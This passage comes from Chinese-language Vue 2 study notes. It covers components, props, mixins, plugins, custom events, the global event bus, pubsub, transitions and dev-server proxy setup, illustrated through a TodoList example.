<student></student>
</div>
`,
data() {
return {
name: "尚硅谷",
address: "北京",
};
},
// 注册组件(局部)
// 组件嵌套:在一个组件中注册另外一个组件,并在该组件的template中使用
components: {
student,
},
};
// 定义 hello 组件
const hello = {
template: `
<div>
<h2>你好啊 {{name}}</h2>
</div>
`,
data() {
return {
name: "Tom",
};
},
};
// 定义 app 组件 一般开发中app管理所有组件
const app = Vue.extend({
template: `
<div>
<hello></hello>
<school></school>
</div>
`, // 模板中要有一个根元素
components: {
school,
hello,
},
});
// 创建vm
new Vue({
el: "#root",
template: `
<app></app>
`, // <div id="root"></div> 会丢失
// 注册组件(局部)
components: {
app,
},
});
</script>2.2.4 VueComponent
School组件本质是一个名为
VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的我们只需要写
<School/>或<School></School>,Vue解析时会帮我们**创建 School 组件的实例对象,**即Vue帮我们执行的:new VueComponent(options)特别注意:每次调用
Vue.extend,返回的都是一个全新的Vue.Component!!!! 同一组件的实例对象不同,不同组件的Vue.Component不相同关于 this 指向
①. 组件配置中:
data函数,methods中的函数,watch中的函数,computed中的函数 它们的this均是VueComponent实例对象(vc)②.
new Vue(options)配置中:
data函数,methods中的函数,watch中的函数,computed中的函数 它们的this均是Vue实例对象(vm)VueComponent的实例对象,以后可以简称为vc(也可以称之为:组件实例对象)Vue的实例对象,以后简称
vmvm 和 vc 的区别:
vm 可以使用 el 指定容器,vc不能使用 el
vm 的 data 可以写成对象或函数形式,vc 的 data 只能写成函数形式
vc 可以看成一个小型的 vm ,vm身上有的属性和方法vc身上也有
2.2.5 一个重要的内置关系
一个重要的内置关系:
VueComponent.prototype.__proto__===Vue.prototype为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性,方法。

prototype(显式原型):每个函数都有一个prototype属性,包含了所有实例共享的属性和方法;当使用构造函数创建新对象时,新对象的
__proto__(隐式原型)会指向构造函数的 prototype(显示原型)
__proto__(隐式原型):是对象内部的一个属性,指向其构造函数的prototype对象原型链:当访问对象上不存在的属性时,JS引擎会尝试在
__proto__所指的对象上查找该属性
2.2.5 非单文件组件缺点
- 模板编写没有提示
- 没有构建过程, 无法将 ES6 转换成 ES5
- 不支持组件的 CSS
- 真正开发中几乎不用
2.3 单文件组件
一个 .vue 文件中只包含有一个组件
2.3.1 单文件组件的组成
- 模板页面
<template>
<!-- 组件的结构 必须有且只有一个根元素-->
<div class="demo">
<h2>学校名称{{ name }}</h2>
<h2>学校地址{{ address }}</h2>
<button @click="showX">点我输出x</button>
</div>
</template>- JS模块对象
<script>
// 组件交互相关的代码
// 将组件暴露
// export default const School = Vue.extend({})
export default {
// 组件名 在开发者工具中显示
name: "School",
// data必须写为函数式
data() {
return {
name: "尚硅谷",
address: "北京",
};
},
methods: {
showX() {
console.log(this.x);
},
},
};
</script>- 样式
<style>
/* 组件的样式 */
.demo {
background-color: orange;
}
</style>2.3.2. 基本使用
- 引入组件
import 组件名 from xxx - 注册组件
components:{组件名} - 使用组件标签
<组件名 />
单文件组件的使用需要在 Vue 脚手架环境下运行,浏览器不识别ES6模块化和.vue文件
三、Vue进阶1
3.1 初始化脚手架
3.1.1 介绍
- Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)。
- 最新的版本是 5.x。
- 文档: https://cli.vuejs.org/zh/。
- Vue CLI (command line interface)命令行接口工具/脚手架
3.1.2 具体步骤
第一步(仅第一次执行):全局安装@vue/cli
npm install -g @vue/cli第二步:切换到你要创建项目的目录,然后使用命令创建项目
vue create 项目名第三步:启动项目
npm run serve如出现下载缓慢请配置 npm 淘宝镜像:npm config set registry https://registry.npm.taobao.org
3.2 分析脚手架结构
3.2.1 模板项目的结构
├── node_modules
├── public
│ ├── favicon.ico: 页签图标
│ └── index.html: 主页面
├── src
│ ├── assets: 存放静态资源
│ │ └── logo.png
│ │── components: 存放组件
│ │ └── HelloWorld.vue
│ │── App.vue: 汇总所有组件
│ │── main.js: 入口文件
├── .gitignore: git 版本管制忽略的配置
├── babel.config.js: babel 的配置文件
├── package.json: 应用包配置文件
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件
├── vue.config.js:配置文件3.2.2 关于不同版本的Vue
vue.js 与 vue.runtime.xxx.js 的区别:
- vue.js 是完整版的 Vue,包含:核心功能+模板解析器
- vue.runtime.xxx.js 是运行版的 Vue,只包含:核心功能;没有模版解析器
因为 vue.runtime.xxx.js 没有模板解析器,所以不能使用 template 配置项,需要使用 render 函数接收到的 createElement 函数去指定具体内容
mian.js中 import Vue from 'vue' 默认引入的是vue.runtime.esm.js(esm:使用es6模块化语法引入)
// 引入 Vue
import Vue from 'vue'
// 引入 App组件,它是所有组件的父组件
import App from './App.vue'
// 关闭 Vue 的生产提示
Vue.config.productionTip = false
new Vue({
el:"#app",
// 将App组件放入容器中
render: h => h(App)
})3.2.3 vue.config.js配置文件
查看配置信息
使用 vue inspect > output.js 会出现一个 output.js 文件可以查看到Vue脚手架的默认配置。
修改配置信息:
修改根目录下的 vue.config.js 在内部参照 Vue CLI 官网配置参考修改配置https://cli.vuejs.org/zh
module.exports = {
pages: {
index: {
// 设置入口文件
entry: "src/main.js",
}
},
// 关闭语法检查
lintOnSave: false,
};注意:修改配置文件要重启项目
在实际开发中先关闭语法检查,等开发完毕再打开进行检测
3.3 ref 与 props
3.3.1 ref 属性
被用来给元素或子组件注册引用信息(id的替代者)
应用在 html 标签上获取的是真实 DOM 元素,应用在组件标签上是组件实例对象(vc)
使用方式:
打标识:
<h1 ref="xxx">.....</h1>或<School ref="xxx"/>获取:
this.$refs.xxx
3.3.2 配置项 props
功能:让组件接收外部传过来的数据
传递数据:
<Demo name="xxx"/>若要传递数值/对象类型的数据请使用 :(v-bind)
<Demo :number="12">接收数据:
第一种方式(只接收):
props:["name"]常用第二种方式(限制类型):
props:{name:String}第三种方式(限制类型,限制必要性,指定默认值):
jsprops:{ name:{ type:String, //类型 required:true, //必要性 default:"老王" //默认值 } }
备注:
- props 是只读的,Vue底层会监测你对 props 的修改,如果进行了修改,就会发出警告,若确实需要修改 props 的值,那么请复制 props 的内容到 data 中一份,然后去修改 data 中的数据
- props 的优先级高于data中的数据,会比data中的数据先添加到vc中
- props 中的数据最终也会挂载在 vc 中
// Student.Vue
<template>
<div>
<h1>{{ msg }}</h1>
<h2>学生姓名 {{ name }}</h2>
<h2>性别 {{ sex }}</h2>
<h2>年龄 {{ myAge + 1 }}</h2>
<button @click="updateAge">尝试修改收到的年龄</button>
</div>
</template>
<script>
export default {
name: "Student",
data() {
console.log(this); // vc
return {
msg: "我是一个小学生",
// 间接修改 age
myAge:this.age,
};
},
// props接收到的值不要修改会报错
methods: {
updateAge() {
this.myAge++;
},
},
// 简单声明接收接收 props的优先级高于data中的数据,会比data中的数据先添加到vc中
props: ["name", "age", "sex"], // 常用
// 接收的同时对数据类型进行限制
props: {
name: String,
age: Number,
sex: String,
},
// 接收的同时对数据进行类型的限制+默认值的指定+必要性的限制
props: {
name: {
type: String, // 类型是字符串
required: true, // 必须传递值
},
age: {
type: Number,
default: 99, // 默认值 不与required:true同时使用
},
sex: {
type: String,
required: true,
},
},
};
App.vue
<template>
<div>
<Student name="李四" sex="女" :age="18" />
<!-- 传递值的形式必须为 key="value" 要想传递的为数值型在key前面加上: 变为动态绑定 -->
</div>
</template>3.4 mixin(混入)
功能:可以把多个组件共用的配置(JS代码)提取成一个混入对象,在需要使用的组件内进行混入
使用方式:
第一步定义混合:
export const hunhe ={
data(){...},
methods:{...}
.....
} 第二步使用混合:
- 局部混入(在组件内)
import {xxx} from "xxxx"
export default{
name:"Xx"
data(){...}
...
mixins:[xxx]
} 2.全局混入(在main.js内)
import {xxx} from "xx"
Vue.mixin(xxx)tips:
当混入组件中没有的属性和方法会自动添加到组件上,当属性和方法出现冲突时,以组件上的为准
当混入生命周期钩子时,组件原有的和混入的都会执行
全局混入后 vm 和所有的 vc 上都拥有了混合的内容
mixin.js
export const hunhe = {
methods: {
showName(){
alert(this.name)
}
},
mounted() {
console.log("你好啊");
},
}
export const hunhe2 = {
data(){
return{
x:100,
y:200
}
}
}
School.vue (局部混入)
......
<script>
import {hunhe,hunhe2} from "../mixin";
....
mixins:[hunhe,hunhe2]
};
</script>
main.js (全局混入)
....
import {hunhe,hunhe2} from './mixin'
......
Vue.mixin(hunhe)
Vue.mixin(hunhe2)3.5 插件
功能:用于增强 Vue
本质:包含 install 方法的一个对象,install 的第一个参数是 Vue,第二个以后的参数是插件使用者传递的数据。
定义插件
jsexport default{ install(Vue,optinos){ // 1. 添加全局过滤器 Vue.filter(....) // 2. 添加全局自定义指定 Vue.directive(...) // 3. 配置全局混入 Vue.mixin(...) // 4. 配置实例方法 Vue.prototype.方法名=function(){...} } }使用插件
js// ① 引入插件 import pulgins from 'xxx' // ② 使用插件 Vue.use(plugins,optinos)
tips:可以将一些全局的过滤器,自定义指令,混合和方法写在插件中,在需要使用的 Vue 实例中引用并使用插件,这样vm 和全部 vc 就都拥有插件中的功能了
plugins.js
export default {
install(Vue,x,y,z) {
console.log(Vue,x,y,z);
// 全局过滤器
Vue.filter("mySlice", function (value) {
return value.slice(0, 4);
});
// 全局自定义指令
Vue.directive("fbind", {
bind(element, binding) {
element.value = binding.value;
},
inserted(element, binding) {
element.focus();
},
update(element, binding) {
element.value = binding.value;
},
});
// 定义混入
Vue.mixin({
data() {
return {
x: 100,
y: 200,
};
},
});
// 为Vue原型上添加一个方法(vm 和 vc 都能使用)
Vue.prototype.hello = ()=>{
alert("你好啊")
}
},
};
main.js
// 1.引入插件
import plugins from "./plugins"
....
// 2.使用插件
Vue.use(plugins,1,2,3)3.6 scoped样式和lang
3.6.1 scoped
- 作用:让样式在局部生效(只在当前组件中生效),防止不同组件中存在同名样式发生冲突。(会在组件内每个标签上添加一个自定义属性作为选择器使用)
- 使用:
<style scoped>
3.6.2 lang
作用:用于指定css预处理器
使用:
<style lang="xxx">xxx可以为less,css,sass...若不写 lang 配置 默认为 css
tips:
- scoped 一般在子组件的样式标签中使用,不在 App 组件样式中使用(App组件中一般存放公共样式)
- 直接使用 lang="less" 会报错需要安装less-loader:npm i less-loader
3.7 总结 Todo-list 案例
效果图:

3.7.1 组件化编码流程
- 拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突
- 实现动态组件:要考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:
- 一个组件在用:放在组件自身即可
- 一些组件在用:放在他们共同的父组件上(状态提升)
- 实现交互:从绑定事件开始
3.7.2 props适用于:
- 父组件 ==> 子组件 通信
- 子组件 ==> 父组件 通信(要求父组件给子组件一个函数,子组件通过调用函数并传递参数实现通信)
3.7.3 v-model 使用的注意事项
使用 v-model 时要切记:v-model 绑定的值不能是 props 传过来的值,因为 v-model 是双向数据绑定而 props 是不可以修改的!
3.7.4 props 使用注意
若使用 props 传递引用类型的数据使用 v-bind/: 传递数据
props 传过来的若是对象类型的值,修改对象中的属性时 Vue 不会报错,但不推荐
3.7.5 reduce 条件统计
reduce() 方法是一个数组迭代方法。对数组中的每个元素按序执行一个提供的 callbackFn 函数,每次调用时,pre 为之前计算的值,最初为传递的初始值,current 为当前遍历的元素。每次 callbackFn 函数执行一次,返回值作为下一次函数执行时的 pre ,最终返回的是reduce 的返回值。
Array.reduce((pre, current) => {
// 数组求和
return pre + current;
// 条件计数
if current > n return pre + 1;
}, 0); // 0为初始值3.8 webStorage
存储内容大小一般支持5MB左右(不同浏览器可能不一样)
浏览器端通过
window.sessionStorage和window.localStorage来实现本地存储机制相关 API:
xxxxStorage.setItem("key","value");该方法接收一个字符串类型键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值
xxxx.Storage.getItem("key");该方法接收一个键名作为参数,返回键名对应的值
xxxx.removeItem("key");该方法接收一个键名作为参数,并把该键名从存储中删除
xxxx.Storage.clear();该方法会清空存储中的所有数据
备注:
sessionStorage存储的内容会随着浏览器窗口关闭而消失localStorage存储的内容,需要手动清除才会消失xxxxStorage.getItem(xxx)如果xxx对应的 value 获取不到返回值为 nullJSON.parse(null)的结果依然为 null
注意:
LocalStroge只支持存储 字符串类型的数据,存储时需要将对象类型的数据通过JSON.stringify()转换为字符串类型进行存储,读时通过JSON.parse()将字符串转换为对象格式
3.8.1 使用localStorage完善TodoList
需求:使用户的添加的数据不随着浏览器的刷新和关闭而丢失。
实现:将用户添加的数据存储到浏览器的localStroge中,深度监视 todos 的变化,当todos发生变化时,将新的todos 数据存储到localStorage中,初始化todos的数据时从localStroge中读取
data() {
return {
// 从浏览器的本地存储中获取todos 并将字符串转换为对象格式
todos: JSON.parse(localStorage.getItem("todos")) || [],
// 当localStorage.getItem("todos"))为空时,返回一个空数组
};
},
......
watch: {
// 监视todos,当todos发生变化时将最新的todos存储到localStorage中
todos: {
// 要想监视到todo中每个todo内的属性必须开启深度监视
deep: true,
handler(value) {
localStorage.setItem("todos", JSON.stringify(value));
},
},
},3.9 组件的自定义事件
一种组件间通信的方式,适用于:子组件 ==> 父组件
使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A父组件中)
为子组件绑定自定义事件:
第一种方式,在父组件中:在子组件标签上绑定自定义事件
js<Demo @自定义事件名="回调函数名"/> // 本质:将自定义事件绑定到子组件的实例对象上vc 或 <Demo v-on:自定义事件名="回调函数名">第二种方式,在父组件中:为子组件绑定ref并使用$refs获取子组件(vc)绑定自定义事件
js<Demo ref="xxx"> ...... // 利用生命周期钩子和refs为子组件添加自定义事件 moutend(){ // 可以增加其他操作更加灵活 this.$refs.xxx.$on("自定义事件名",this.回调函数名) //this.$refs.xxx 子组件实例对象 }若想让自定义事件只触发一次,可以使用
once修饰符,或$once方法
触发自定义事件并传递参数:
this.$emit("自定义事件名",数据)解绑自定义事件:
this.$off("自定义事件名")、解绑全部事件:this.$off()、解绑多个事件 :this.$off(["xxx","xxx"])组件上也可以绑定原生DOM事件,需要使用
native修饰符(将事件绑定到子组件的最外层根元素上)
注意:通过
this.$refs.xxx.$on('自定义事件名',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this执行会出现问题!
父组件App.vue
<template>
<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法,使用@或v-on) -->
<!-- 为Student组件的实例对象vc绑定了一个自定义事件atguigu -->
<Student @atguigu="getStudentName" @demo="m1"/>
<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) -->
<Student ref="student" @click.native="show" />
<!-- 在组件中直接使用原生事件,会默认被当做自定义事件进行处理 需要加.native修饰符才能变为原生事件-->
</template>
....
<script>
methods: {
getSchoolName(name) {
console.log("App收到了学校名", name);
},
getStudentName(name, ...params) {
this.studentName = name;
console.log("App收到了学生名", name, params);
}
},
// 生命周钩子
mounted() {
// 可以增加一些其他的操作(定时器)比直接使用@/v-on绑定自定义事件更灵活
// 绑定自定义事件 this.$refs.student ==> Student组件的实例对象
this.$refs.student.$on("atguigu", this.getStudentName);
// once:只执行一次
this.$refs.student.$once("atguigu",this.getStudentName);
},
</script>
子组件 Student
<template>
<button @click="sendStudentName">点我把学生名给App</button>
<button @click="unbind">解绑atguigu自定义事件</button>
</template>
<script>
methods: {
sendStudentName() {
// 使用$emit触发Student组件身上的自定义atguigu事件并传递参数
this.$emit("atguigu", this.name, 666, 888, 900);
},
unbind() {
// 解绑一个自定义事件
this.$off("atguigu");
// 解绑多个事件
// this.$off(['atguigu','demo']);
// 解绑所有自定义事件
// this.$off();
},
}
</script>原理:在父组件中为子组件标签绑定自定义事件(自定义事件被添加到子组件的实例对象vc上),事件回调在父组件中,子组件在合适时通过$emit触发自定义事件,通过事件回调将数据传递给父组件,实现子 ==> 父组件间的通信
3.10 TodoList 自定义事件
需求:将原本使用 props 传递函数实现的 子组件 ==> 父组件通信,修改为使用自定义事件实现
App.vue
<template>
.....
<!-- 为子组件添加一个自定义事件addTodo事件回调为addtodo-->
<MyHeader @addTodo="addTodo" />
<!-- 使用组件自定义事件实现 子组件为父组件传递数据 -->
<MyFooter
:todos="todos"
@checkAllTodo="checkAllTodo"
@clearAllTodo="clearAllTodo"
/>
......
</template>
<script>
...
methods:{
addTodo(){...};
checkAllTodo(){...};
clearAllTodo(){...}
}
</script>MyHeader.vue
// 触发父组件为子组件添加的自定义事件,利用事件回调为父组件传递数据
this.$emit("addTodo",todoObj);MyFooter.vue
// 调用组件自定义事件为父组件传递数据
this.$emit("checkAllTodo", value);
...
// 触发自定义事件,执行父组件中的回调函数
this.$emit("clearAllTodo");3.11 全局事件总线(GlobalEventBus)
一种组件间通信的方式,适用于任意组件间通信,实际开发中较为常用
安装全局事件总线
jsmain.js new Vue({ ..... beforeCreate(){ Vue.prototype.$bus = this // 安装全局事件总线,$bus就是当前应用的 vm // this为vm身上有$emit() $on() $off()方法,因此$bus也可以调用这些方法 }, ..... })使用事件总线
接收数据:A组件想接收数据,则在A组件中给 $bus 绑定自定义事件,事件回调留在A组件自身
jsmethods(){ demo(data){....} } .... // 组件挂载到页面完毕后执行mounted钩子函数 mounted(){ // 给$bus绑定自定义事件 this.$bus.$on('xxx',this.demo) // 或 回调必须使用箭头函数(this才为vc) this.$bus.$on("xxx",(data)=>{ ..... }) }提供数据:传递数据的组件在合适的时候触发$bus上的自定义事件,并传递数据
jsthis.$bus.$emit('xxx',数据)
最好在beforeDestroy钩子中,用
$off去解绑当前组件所用到的事件js// 在组件销毁前,解绑全局事件总线自定义事件 beforeDestroy(){ this.$bus.$off("xxx") }
注意:组件销毁时会自动解绑自身的自定义事件,但全局事件总线的自定义事件是在$bus(vm)组件上绑定的,所以需要手动解绑,只有当$bus被销毁时身上所有的自定义事件才能解绑
全局事件总线触发的事件可以借助Vue开发工具的第三个选项查看

原理:
Vue.prototype = VueComponent.prototype.__proto__在Vue.prototype上添加一个$bus=vm在任何组件上均可访问到$bus且可调用$on、$emit、$off方法进行自定义事件的绑定、调用、销毁
3.12 TodoList 全局事件总线
需求:将原本通过 props 逐层传递实现的从 App组件 到 MyItem组件 的通信即 爷组件 ==> 孙组件 改为使用事件总线实现
main.js
new Vue({
el: '#app',
render: h=>h(App),
beforeCreate(){
// 1. 安装全局事件总线
Vue.prototype.$bus = this;
}
});App.vue
mounted(){
// 2. 为全局事件总线绑定自定义事件
this.$bus.$on("checkTodo",this.checkTodo); this.$bus.$on("deleteTodo",this.deleteTodo)
}
beforeDestroy() {
// 3. 在组件销毁前,解绑全局事件总线自定义事件
this.$bus.$off("checkTodo");
this.$bus.$off("deleteTodo");
},MyItem.vue
// 4. 触发全局事件总线的自定义事件
...
this.$bus.$emit("checkTodo",id);
....
this.$bus.$emit("deleteTodo", id);
..触发全局事件总线上绑定的自定义事件的组件是< Root >,因为自定义事件被绑定到vm上
3.13 消息订阅与发布(pubsub)
一种组件间通信的方式,适用于任意组件间通信,需要数据的组件订阅消息,提供数据的组件发布消息
使用步骤:
安装pubsub:
npm i pubsub-js引入:
在需要订阅和发布的组件中引入
js// 引入pubsub pubsub是一个对象,有subscribe,publish,unsubscribe三个方法 import pubsub from ”pubsub-js“订阅消息(接收数据)
如果A组件想要接收数据,则在A组件中订阅消息,订阅消息的回调留在A组件中
jsmethods:{ // 第一个参数为订阅消息名,第二个参数为发布消息时传递数据 demo(msgName,data){....} } // 组件挂载到页面完毕后进行订阅消息 mounted(){ // 订阅消息 当有人发布了xxx消息,就执行回调 // 使用this.pid保存订阅的id,用于取消订阅 this.pid = pubsub.subscribe("xxx",this.demo) // 也可以直接将回调写在this.demo处,但必须为箭头函数,this才能指向vc }特别注意:订阅消息的回调函数的第一个参数为订阅消息名,若不需要使用,则用 _ 占位(避免参数定义而未使用,代码检查报错)
发布消息(提供数据)
js// 在合适的时候发布消息,并传递数据 pubsub.publish("xxx",数据)发布的消息名要和订阅的消息名对应
取消订阅
在订阅消息的组件beforeDestroy钩子中,取消消息的订阅
js// 在组件要被销毁前取消订阅 beforeDestroy(){ pubsub.unsubscribe(this.pid) }注意:取消订阅时需要使用消息的 id,订阅时返回的
实现任意组件间的通信,推荐使用全局事件总线,因为两者基本流程相似。使用:安装全局事件总线(安装并引入supsub-js)、接收数据:绑定自定义事件(订阅消息)、提供数据:触发自定义事件(发布消息)
3.14 ToList 消息订阅与发布
需求:将 爷组件 ==> 孙组件 改为使用消息订阅与发布实现
App.Vue
// 引入 supsub-js
import pupsub from "pubsub-js";
....
methods{
deleteTodo(_,id) { // _ : 占位符,第一个参数为订阅消息名
// 使用过滤器返回一个新数组
this.todos = this.todos.filter((todo) => todo.id !== id);
},
}
....
mounted(){
// 订阅消息
this.pid = supsub.subscribe("deleteTodo", this.deleteTodo);
}
beforeDestroy(){
// 取消消息订阅
supsub.unsubscribe(this.pid);
}MyItem.vue
....
// 发布消息
pubsub.publish("deleteTodo", id);
....3.15 总结组件间的通信
| 组件间通信 | 方式 |
|---|---|
| 父组件 ==> 子组件 | props(传数据) |
| 子组件 ==> 父组件 | 自定义事件(推荐)、props(传函数),全局事件总线 |
| 爷组件 ==> 孙组件 兄弟组件 任意组件 .... | 全局事件总线(推荐)、消息订阅与发布 |
3.16 ToList 编辑功能($set()、NextTick)
3.16.1 $set()
- 语法:
this.$set(target,"属性名",值) - 作用:为 vc 上的数据动态添加属性,并使Vue可以动态监视到
- 什么时候使用:在给 vc 身上的数据添加动态属性时
为 vm 身上动态添加属性时使用 vm.$set()
// 为 vc 身上的todo对象动态添加一个 isEdit 属性
this.$set(todo, "isEdit", true);3.16.2 NextTick
- 语法:
this.$nextTick(回调函数) - 作用:在下一次 DOM 更新结束后执行其指定的回调
- 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行
// 在DOM更新后使input框获取焦点
this.$nextTick(() =>{
this.$refs.inputTitle.focus();
});3.16.3 编辑功能实现
需求:当鼠标处于列表上方出现 "编辑" 按钮点击 “编辑” 按钮后原本的文字变为输入框并隐藏 "编辑" 按钮,当输入框失去焦点后文字内容发生改变。
MyItem.vue
<template>
...
<!-- 使用v-show来控制是否显示 -->
<span v-show="!todo.isEdit">{{ todo.title }}</span>
<input
class="edit"
type="text"
v-show="todo.isEdit"
:value="todo.title"
@blur="handleBlur($event, todo)"
ref="inputTitle"
/>
</label>
<button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
<button
class="btn btn-edit"
v-show="!todo.isEdit"
@click="handleEdit(todo)"
>
编辑
</button>
</li>
</template>
<script>
....
methods:{
// 编辑 点击编辑按钮出现输入框隐藏文字,并自动获取焦点
handleEdit(todo) {
// 如果todo对象上已存在isEdit属性,则不需要再重新添加isEdit属性
// if(todo.isEdit === undefined){
if (!todo.hasOwnProperty("isEdit")) {
// 使用vc.$set(Vue.set())将属性动态添加到todo对象上使Vue可以监测到属性值的变化
this.$set(todo, "isEdit", true);
} else {
// 由于使用$set()天添加的属性在修改值后会重新解析模板
todo.isEdit = true;
}
// 在点击"编辑"按钮后自动获取焦点
// this.$nextTick 指定的回调会在DOM更新后执行
this.$nextTick(() =>{
this.$refs.inputTitle.focus();
});
},
// 编辑框失去焦点(真正执行修改逻辑)
handleBlur(e, todo) {
// 失焦时取消编辑状态
todo.isEdit = false;
// 输入内容非空校验
if (!e.target.value.trim()) return alert("输入不能为空");
// 使用全局事件总线将修改后的数据发送给App组件
this.$bus.$emit("updateTodo", todo.id, e.target.value);
},
}
...
</script>App.vue
....
methods:{
// 更新一个todo
updateTodo(id, title) {
this.todos.forEach((todo) => {
if (todo.id === id) todo.title = title;
});
},
}
mounted() {
....
// 接收编辑后的todo对象的title值和id
this.$bus.$on("updateTodo",this.updateTodo);
...
beforeDestroy() {
// 在组件销毁前,解绑全局事件总线自定义事件
...
this.$bus.$off("updateTodo");
...
},
....3.17 Vue封装的过渡与动画
3.17.1 使用自定义过渡动画
作用:在插入、更新或移除 DOM 元素时,在合适的时候给元素添加样式类名。
图示:

写法:
准备好样式:
- 元素进入的样式:
- v/name-enter:进入的起点
- v/name-enter-active:进入过程中
- v/name-enter-to:进入的终点
- 元素离开的样式:
- v/name-leave:离开的起点
- v/name-leave-active:离开的过程
- v/name-leave-to:离开的终点
- 元素进入的样式:
使用
<transition>包裹要过渡的元素,并配置name属性:用来区分不同元素的过渡动画(不配置默认使用 v-enter/leave)
appear属性:一开始是否显示动画
在要过渡的元素身上绑定 v-show/v-if:控制元素显示/隐藏
vue<transition name="hello1"> <h1 v-show="isShow">你好啊!</h1> </transition> <transition name="hello2" appear> <p v-show="isShow">Vue</p> </transition> <style> /* hello */ /* 进入的起点、离开的终点 */ .hello-enter, .hello-leave-to { transform: translateX(-100%); } /* 进入和离开时激活的样式 */ .hello-enter-active, .hello-leave-active { transition: 0.5s linear; /*过渡 animation: atguigu 1s linear; 动画*/ } /* 进入的终点、离开的起点*/ .hello-enter-to, .hello-leave { transform: translateX(0); } /* 动画 */ @keyframes atguigu { 0% { transform: translateX(-100%); } 100% { transform: translateX(0px); } } /*hello1*/ /* 进入的起点 离开的终点*/ .hello1-enter, .hello1-leave-to{...}; /* 进入和离开时的样式 */ .hello1-enter-active, .hello1-leave-active{...}; /* 进入的终点 离开的起点*/ .heloo1-entry-to .hello1-leave{...}; </style>若有多个元素需要过渡动画,则需要使用:
<transition-group>,且每个元素都要指定key值。Vue<transition-group appear> <h1 v-show="isShow" key="1">你好啊</h1> <h1 v-show="isShow" key="2">Vue</h1> </transition-group>
3.17.2 集成第三方动画
使用 animate.css 第三方动画库
安装:
shellnpm install animate.css引入 animate.css
jsimport 'animate.css';使用
添加
name="animate__animated animate__bounce"并指定进入和离开的动画效果vue<!-- 假设你已经在页面中引入了 Animate.css --> <Transition name="custom-classes" enter-active-class="animate__animated animate__tada" leave-active-class="animate__animated animate__bounceOutRight" > <p v-if="show">hello</p> </Transition> <style> .animate__animated { // 覆盖默认的过渡时间 --animate-duration: 0.5s; } </style>
四、Vue进阶2
4.1 Vue 中的 ajax
4.1.1 常用的发送 ajax 请求的方式
xhr (开发中基本不用)
jQuery (开发中基本不用,基于xhr)
axios(常用 基于xhr)
fetch(兼容性稍差)
vue-resource(插件库,vue1.x 使用广泛,官方已不维护 基于xhr)
使用:
安装:
npm i vue-resource
使用插件:
在 main.js 中引入并使用插件
js// 引入 vue-resource 插件 import vueResource from "vue-resource"; // 使用插件 vue-resource 所有vm/vc身上都会有 $http Vue.use(vueResource);发送请求
jsthis.$http.get/post/put/delete({}) .then(()=>{}) .catch(()=>{})与axios相似,只需将 axios替换为this.$http 即可
4.1.2 解决开发环境 Ajax 跨域问题
跨域错误信息:
同源策略:协议、域名、端口三者都相同
解决跨域:
- cors 在服务器端使用设置一个特殊的响应头
- 使用代理服务器 在Vue脚手架中配置
4.2 vue脚手架配置代理服务器
原理:创建一个与 vue-cli 搭建的服务相同的代理服务器(http://localhost:8080)并配置目标服务器的地址,向http://localhost:8080发送请求,代理服务器会向目标服务器发送请求返回数据
方法一:
在 vue.config.js 中添加如下配置:
devServer: {
// 配置目标服务器的 url 不写具体路径
proxy: 'http://localhost:5000'
},说明:
- 优点:配置简单,请求资源时直接发给前端(8080端口,vue脚手架搭建的服务器)即可
- 缺点:不能配置多个代理,不能灵活控制请求是否走代理
- 工作方式:若按照上述配置代理,当请求了前端 public目录 下不存在的资源的资源时,那么该请求会转发给服务器(优先匹配前端资源)
使用:
getStudents(){
// 配置了代理服务器,发送请求时向`http://localhost:8080`服务器发送请求
axios.get("http://localhost:8080/students").then(
response => {
// axios返回的data和error为一个对象格式
console.log("请求成功了",response.data);
},
error => {
console.log("请求失败了",error.message);
}
)
},方法二:
在 vue.config.js 添加如下配置
module.exports = {
devServer: {
proxy: {
// 代理前缀:匹配所有以 '/aiguigu'开头的请求路径
'/atguigu': {
// 配置代理服务器转发请求的目标 url
target: 'http://localhost:5000',
// 路径从写:向目标服务器发送请求时,会携带/atguigu,将/atguigu去掉
pathRewrite:{
'^/atguigu':''
},
// 用于支持 websocket 默认开启为true
ws: true,
// 用于控制请求头中的host 默认开启为ture
// ture:服务器收到的请求头中的host为:localhost:5000
// false:服务器收到的请求头中的host为:localhost:8080
changeOrigin: true
},
// 匹配所有以 '/demo'开头的请求路径
"/demo":{
target:"http://localhost:5001",
pathRewrite:{
"^/demo":""
}
}
}
}
}说明:
- 优点:可以配置多个代理,且可以灵活的控制请求走代理(加上代理服务器的前缀)获取前端资源(不加代理服务器前缀)
- 缺点:配置略微繁琐,请求资源时必须加前缀
使用:
getStudents(){
// 配置了代理服务器,发送请求时向`http://localhost:8080`服务器发送请求
// 向服务器1发送请求加上 代理服务器的 /atguigu前缀
axios.get("http://localhost:8080/atguigu/students").then(
response => {
console.log("请求成功了",response.data);
},
// axios返回的data和error为一个对象格式
error => {
console.log("请求失败了",error.message);
}
)
},
getCars(){
// 向服务器2发送请求加上 代理服务器的 /demo前缀
axios.get("http://localhost:8080/demo/cars")
.then(res => {
console.log(res.data)
})
.catch(err => {
console.error(err.message);
})
}可以使用代理服务器去代理任何有效的URL,例如
http://example.com或http://another-website.com。使用代理服务器请求:https://api.github.com/search/users?q=xxx 接口并实现跨域
vue.config.js
const { defineConfig } = require("@vue/cli-service");
module.exports = defineConfig({
transpileDependencies: true,
// 配置代理服务器
devServer: {
proxy: {
// 匹配以 /api开头的路径
"/api": {
// 目标url
target: "https://api.github.com",
// 路径重写
pathRewrite: {
"^/api": "",
},
},
},
},
});App.vue
send(){
// 向本地发送请求
axios.get("/api/search/users?q=xxx")
.then(res => {
console.log(res)
})
.catch(err => {
console.error(err);
})
}特别注意:修改了vue.config.js文件后需要重启服务
4.3 github 用户搜索案例
4.3.1 拆分组件

4.3.2 引入第三方样式
方式一:
将下载好的样式放在 src/assets/css 下,在App组件中使用 import 引入
